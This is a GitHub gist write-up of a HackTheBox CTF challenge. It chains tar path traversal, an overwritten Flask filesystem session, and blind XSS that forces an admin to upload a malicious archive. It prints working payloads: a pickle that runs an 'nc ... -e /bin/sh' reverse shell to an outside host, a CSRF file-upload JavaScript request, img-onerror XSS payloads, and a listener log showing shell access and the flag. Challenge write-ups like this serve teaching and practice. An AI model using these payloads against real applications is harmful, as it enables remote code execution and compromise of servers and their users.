Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active March 7, 2023 13:54
Show Gist options
  • Save pich4ya/fa26c091c989db14234b2f9aa81fedbc to your computer and use it in GitHub Desktop.
Save pich4ya/fa26c091c989db14234b2f9aa81fedbc to your computer and use it in GitHub Desktop.
HackTheBox Cyber Apocalypse 2022 Intergalactic Chase - Acnologia Portal Writeup
# author Pichaya Morimoto (p.morimoto@sth.sh)
1. Register and Login
2. Submit Bug Report
Vulns:
- Tar Unzip Path Traversal
- Tar content => Overwrite flask_session's file type
Challenge file: config.py
class Config(object):
SECRET_KEY = generate(50)
UPLOAD_FOLDER = f'{os.getcwd()}/application/static/firmware_extract'
[...]
SESSION_TYPE = 'filesystem'
After reading things from:
/lib/python3.9/site-packages/flask_session/sessions.py
/lib/python3.9/site-packages/cachelib/{file.py,serializers.py}
Session type 'filesystem' is actually a Pickle serialized file-based cookie.
MD5 of cookie name => session file name
Cookie: session=b65d12b3-e9ba-423c-adfa-6f2a72b228ed
md5(b65d12b3-e9ba-423c-adfa-6f2a72b228ed) = c772baf4518b283715a0e4fa68807b4a
It's a standard pickle serialization with first 4 bytes is expiry. ignore with \x00 * 4 (if condition in code).
open('c772baf4518b283715a0e4fa68807b4a', 'wb').write(b"\x00\x00\x00\x00cos\nsystem\n(S'nc 1.2.3.4 1234 -e /bin/sh'\ntR.'\ntR.")
python tarbomb.py c772baf4518b283715a0e4fa68807b4a exploit.tar.gz 10 app/flask_session/
(tarbomb.py https://gist.github.com/pich4ya/8252921050859a2d831a68aed83e2454)
- Blind XSS forces Admin to upload .tar
3. I craft the admin upload AJAX request by
- locally change admin's pwd
- login to get a local admin's cookie
curl -F "file=@/path/to/exploit.tar.gz" --proxy http://127.0.0.1:8080 --cookie "session=e9959b0f-64eb-4246-856c-27b4cb2bdd21" http://mymachine.local:1337/api/firmware/upload
- use Burp Pro to generate CSRF PoC -> you will get JavaScript for admin file upload
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/1.2.3.4:32367\/api\/firmware\/upload", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=------------------------e487cf83e6cd4943");
xhr.withCredentials = true;
var body = "--------------------------e487cf83e6cd4943\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"exploit.tar.gz\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x1f\x8b[...]xde;\xb2\xb7\x8c-\x00(\x00\x00\r\n" +
"--------------------------e487cf83e6cd4943--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++){
aBody[i] = body.charCodeAt(i);
}
xhr.send(new Blob([aBody]));
I also do:
<img src=x onerror=eval(atob("<b64>"))>
4. Combine all shit
XSS admin to upload exploit.tar.gz.
$ ncat -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 138.68.150.120.
Ncat: Connection from 138.68.150.120:35805.
id
uid=1000(www) gid=1000(www) groups=1000(www)
pwd
/app
cd ..
ls
app
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
HTB{des3r1aliz3_4ll_th3_th1ngs}
@pich4ya
Copy link
Author

pich4ya commented Mar 7, 2023

I figured later that there are more elegant ways to perform XSS file upload then my code.

Example:

<img src=x onerror="fd=new(FormData);fd.append('file',new(Blob)([new Uint8Array([31,139,[...],0,40,0,0]).buffer],{type:'application/octet-stream'})),fetch('/api/firmware/upload',{method:'post',body:fd})">

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment